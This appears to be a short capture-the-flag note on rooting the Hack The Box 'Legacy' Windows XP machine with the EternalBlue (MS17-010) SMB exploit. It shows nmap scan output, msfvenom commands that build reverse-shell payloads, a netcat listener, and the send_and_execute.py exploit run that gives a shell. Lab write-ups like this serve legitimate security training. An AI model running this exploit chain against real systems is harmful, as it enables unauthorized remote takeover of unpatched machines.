MS17 SMB EXPLOIT (ETERNAL BLUE)

REVERSE EXE SHELL

PORT STATE SERVICE VERSION

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

445/tcp open microsoft-ds Windows XP microsoft-ds

3389/tcp closed ms-wbt-server

Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp

Host script results:

|_clock-skew: mean: 5d00h29m14s, deviation: 2h07m16s, median: 4d22h59m14s

|_nbstat: NetBIOS name: LEGACY, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:b9:51:5c (VMware)

| smb-os-discovery:

| OS: Windows XP (Windows 2000 LAN Manager)

| OS CPE: cpe:/o:microsoft:windows_xp::-

| Computer name: legacy

| NetBIOS computer name: LEGACY\x00

| Workgroup: HTB\x00

|_ System time: 2020-06-22T20:22:31+03:00

| smb-security-mode:

| account_used: guest

| authentication_level: user

| challenge_response: supported

|_ message_signing: disabled (dangerous, but default)

|_smb2-time: Protocol negotiation failed (SMB2)

nmap --script vuln -p445 10.10.10.4

git clone https://github.com/helviojunior/MS17-010.git

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.11 LPORT=4949 EXITFUNC=thread -f exe -a x86 --platform windows -o ms17-010.exe No encoder or badchars specified, outputting raw payload

NO METASPLOIT

https://github.com/helviojunior/MS17-010.git

root@akg:/home/akg/Desktop/hackthebox/legacy# msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.33 LPORT=4444 -f exe > eternalblue.exe

root@akg:/home/akg# nc -nlvp 4444

root@akg:/home/akg/Desktop/hackthebox/legacy/MS17-010# python send_and_execute.py 10.10.10.4 /home/akg/Desktop/hackthebox/legacy/eternalblue.exe

ROOTED!